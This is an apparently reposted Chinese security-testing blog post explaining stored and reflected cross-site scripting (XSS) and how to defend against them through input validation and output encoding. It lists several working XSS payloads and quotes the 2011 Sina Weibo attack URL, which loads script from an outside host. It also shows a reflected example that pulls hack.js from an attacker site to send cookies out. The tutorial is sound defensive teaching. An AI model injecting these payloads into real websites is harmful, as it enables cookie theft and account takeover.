安全测试之XSS攻击

来源:互联网 发布:业余网络兼职 编辑:程序博客网 时间:2024/03/29 17:02

XSS (跨站脚本攻击)是什么?它的全名是:Cross-site scripting,为了和CSS层叠样式表区分所以取名XSS。是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容,甚至其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。

XSS攻击有两种方法:

一类是来自内部的攻击,主要指的是利用网页自身的漏洞,将恶意脚本注入到网页,当用户访问此页面时,恶意脚本也会跟着执行,这样恶意脚本就能利用到用户的所有状态数据执行恶意操作,称为存储型XSS。2011年新浪微博的XSS攻击就是此类,主要是通过未过滤处理的URL中的参数来加载攻击者已写好的脚本,并且使用短链服务将URL伪装,然后通过诱人的话题欺骗用户访问该链接后在浏览器运行,达到攻击的目的。如将

http://163.fm/PxZHoxn指向

http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update。所以我们应该严防短链接。

它利用脚本提前闭合标签来达到执行该脚本的目的。

例如输入内容:

<script>alert(document.cookie)</script>

"/><script>alert(document.cookie)</script>

" onload="jQuery.getScript('js文件地址')

" onload="with(document)body.appendChild(createElement('script')).src='js文件地址'

< INPUT SRC=”javascript:alert(‘XSS’);”>

< IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>

<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>

< EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED> 嵌入flash,包含了XSS

<A HREF=”http://127.0.0.1/”>XSS</A>


另一类则是来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页(当然傻子才这么干),然后构造跨站脚本如收集cookie的JS上传到这个站点A上,通过目标服务器B的漏洞(如http://www.b.com?content=<script src=”www.a.com?hack.js”></script>)通过再结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开这个URL使JS执行发送cookie到A上。称之为反射型XSS。它的危害不及存储型XSS,因为只对当前页面访问产生影响,是一次性的。

如何防范?

1. 输入校验

对 用户的所有输入数据进行检测,比如过滤其中的“<”、“>”、“/”、双引号等可能导致脚本注入的特殊字符,或者过滤“script”、 “javascript”等脚本关键字,或者对输入数据的长度及格式进行限制等等。同时,我们也要考虑用户可能绕开ASCII码,使用十六进制编码如 “<</span>”(“<”)、“>”(“>”)等来输入脚本。因此,对用户输入的十六进制编码,我们也要进行相 应的过滤。只要开发人员能够严格检测每一处交互点,保证对所有用户可能的输入都进行检测和XSS过滤,就能够有效地阻止XSS攻击。

2. 输出编码

通过前面对XSS攻击的分析,我们可以看到,之所以会产生XSS攻击,就是因为Web应用程序将用户的输入直接嵌入到某个页面当中,作为该页面的HTML代 码的一部分。因此,当Web应用程序将用户的输入数据输出到目标页面中时,只要先对这些数据进行编码,然后再输出到目标页面中。这样,如果用户输入一些HTML的脚本,也会被当成普通的文字,而不会成为目标页面HTML代码的一部分得到执行。

3. 严防外部的Javascript

外部的Javascript一旦引入了,这些脚本就能够操纵你的HTML页面,窃取敏感信息或者发起钓鱼攻击等等。

【推荐】

之前涉及到网络安全方面的文章,关注微信后可以输入数字查阅:

010:再谈SESSION和COOKIE之间的区别与联系

021:struts漏洞

025:使用HttpOnly提升Cookie安全性

033:安全测试之前言

034:安全性测试之认证授权

035:安全测试之SQL注入


0 0
原创粉丝点击